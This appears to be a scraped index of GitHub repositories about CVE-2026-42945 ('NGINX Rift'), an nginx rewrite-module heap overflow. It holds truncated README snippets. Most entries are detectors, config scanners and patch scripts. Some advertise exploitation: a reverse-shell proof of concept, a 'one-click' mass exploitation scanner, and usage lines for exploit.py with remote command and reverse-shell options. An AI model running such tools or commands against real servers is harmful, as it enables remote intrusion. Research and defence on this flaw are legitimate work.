nginx-rce-cve-2026-42945

5. CVE-2026-42945 - Critical NGINX RCE CVSS 9.2 Classification Category: 0-Day / Remote Code Execution CVE: CVE-2026-42945 CVSS: 9.2 Critical Date Discovered: May 12, 2026 Date Patched: May 2026 F5 quarterly security release Source: GitHub DepthFirstDisclosures/Nginx-Rift Vulnerability Details A...

nginx-rift-detect

nginx-rift-detect Behavioral detection script for CVE-2026-42945 NGINX Rift — a heap buffer overflow in ngxhttprewritemodule present in nginx since 2008. ⚠️ Disclaimer This tool is intended solely for authorized security testing and research. Only run this against systems you own or have explicit...

nGixshell

nGixShell es un escáner de CVE de nginx y un framework de explotación RCE. Incluye una prueba de concepto funcional para CVE-2026-42945 — un desbordamiento crítico de heap buffer en ngxhttprewritemodule — y un escáner que cubre 53 CVEs de nginx con sondas HTTP automatizadas, huella digital,...

NGINX_RIFT_SCAN_CVE_2026_42945

NGINX Rift Config Scanner Language: 中文 | English This is a lightweight scanner for checking whether an NGINX configuration contains risky CVE-2026-42945, also known as NGINX Rift, and CVE-2026-9256 configuration patterns. The issue was disclosed by depthfirst in NGINX Rift: Achieving NGINX RCE vi...

Nginx_cve-2026-42945-scanner-gui

Ngxin cve-2026-42945-scanner-gui Necesita ejecutar jdk21version java -jar cve-2026-42945-scanner.... Escaneo masivo + explotación de vulnerabilidades con un clic Necesita jdk21 para ejecutarse Después de descomprimir, ejecuta java -jar cve-2026-42945-scanner.... Escaneo masivo + explotación de...

CVE-2026-42945-Reverse-Shell-POC

CVE-2026-42945 NGINX Rift RCE PoC with Reverse Shell Remote code execution proof-of-concept for CVE-2026-42945 , a heap buffer overflow in NGINX's ngxhttprewritemodule. This fork extends the public trigger PoC with an embedded reverse-shell listener and configurable exploitation parameters for CT...

Scanner_CVE_2026-42945

Scanner for detecting Nginx instances vulnerable to CVE-2026-42945 NGINX RIFT. Accepts individual IPs, CIDR ranges, and ASNs as input. About CVE-2026-42945 affects all Nginx versions prior to 1.30.1. The tool probes HTTP and HTTPS on default ports, reads the Server header from the response, and...

NGINX-Rift

NGINX Rift — Herramienta de escaneo y verificación de vulnerabilidades CVE-2026-42945 / CVE-2026-9256 NGINX Rift es una herramienta de código abierto de escaneo y verificación para CVE-2026-42945 y CVE-2026-9256 vulnerabilidades de desbordamiento de montón en el módulo ngxhttprewritemodule de...

nginx-rift-scanner

nginx-rift-scanner Dependency-free Python 3 scanner for CVE-2026-42945 "NGINX Rift" — a CVSS v4.0 9.2 CRITICAL heap-based buffer overflow CWE-122 in ngxhttprewritemodule. What it detects Two independent checks are run on every invocation:...

cve-2026-42945-scan

cve-2026-42945-scan Escáner estático para archivos de configuración de NGINX que detecta el patrón rewrite/set asociado con CVE-2026-42945. El escáner analiza configuraciones de NGINX con crossplane, recorre los bloques location e imprime cada ubicación que parezca afectada en este formato:...

CVE-2026-42945-NGINX-Rift-Check-Script

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ai-vuln-rediscovery-nginx-cve-2026-42945

AI辅助重新发现nginx中的CVE-2026-42945 本仓库记录了一个可复现的AI辅助漏洞重新发现实验，针对nginx的ngxhttprewritemodule，该漏洞后来被关联为CVE-2026-42945。 该实验刻意缩小范围。易受攻击的文件src/http/ngxhttpscript.c被直接提供给模型进行审计。这并非声称AI系统从头开始自主地在完整的nginx代码库中找到了该问题。 摘要 被审计的漏洞是一个由nginx重写处理中脚本引擎状态过时导致的堆缓冲区溢出。 在高层面上： 1. 一个包含?的rewrite替换会设置e-isargs = 1。 2...

nginx-rift-check

nginx-rift-check 发现存在 CVE-2026-42945 漏洞的配置，该漏洞是 nginx 的 ngxhttprewritemodule 中的堆缓冲区溢出。 仅运行受影响的 nginx 版本（0.6.27 到 1.30.0）并不足以被利用。配置必须包含一对特定的指令，而这对指令很罕见：两次对真实世界配置的独立扫描分别在 1465 个配置中发现 0 个可利用配置、在 35633 个中发现 1 个。本脚本会告诉你，你处于这条线的哪一侧。 它查找什么 一个 rewrite，其替换内容包含一个? 且后面带有参数，随后在同一个 location 中读取一个未命名捕获组 （$1 到...

CVE-2026-42945-NGINX-Rift

CVE-2026-42945-NGINX-Rift root@kitploit: Basic usage with target IP python3 exploit.py --target-ip 192.168.1.100 --cmd "id" With custom port python3 exploit.py --target-ip 192.168.1.100 --port 8080 --cmd "id" Reverse shell python3 exploit.py --target-ip 192.168.1.100 --shell --listen-ip 10.0.0.1...

nginx-rift-detector

NGINX Rift Detector for CVE-2026-42945 Read-only Bash checker for owned NGINX servers. It helps an operator answer two questions after the CVE-2026-42945 disclosure: Is this server still running an exposed NGINX build or risky rewrite configuration? Do local logs show crash, long-URI, or encoding...

fix_nginx_cve_2026_42945

NGINX CVE-2026-42945 一键修复脚本 自动检测系统发行版，升级 NGINX 至修复版本 ≥1.30.1，并备份配置、自动回滚。 漏洞说明 漏洞编号： CVE-2026-42945 漏洞名称：NGINX Rift NGINX 在处理特定的 rewrite 跳转规则时，请求内容长度计算与实际写入不一致，攻击者可构造恶意请求触发内存破坏，导致工作进程崩溃，甚至远程代码执行。 受影响版本： 低于 NGINX 1.30.1 / 1.31.0 的所有版本 修复版本： NGINX 1.30.1 / 1.31.0 及以上 特性 自动发行版检测 — Ubuntu/Debian /...

CVE-2026-42945-nginx-rift

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CVE-2026-42945

This repository does not have a README...

CVE-2026-42945

CVE-2026-42945 PoC Go 中文 | English A detection and exploitation helper for nginx HTTP/2 CVE-2026-42945. Use it only in authorized environments to verify vulnerability presence, compare patched vs. vulnerable behavior, and reproduce PoC logic in a controlled lab. Affected versions heuristic: nginx...

nginx-cve-2026-42945

CVE-2026-42945 NGINX Rift — defensive scanner Organizations running NGINX Open Source , NGINX Plus , or NGINX-based ingress/controllers should verify whether they are affected by CVE-2026-42945 and patch or reconfigure before exploitation attempts hit production edges. This repository provides a...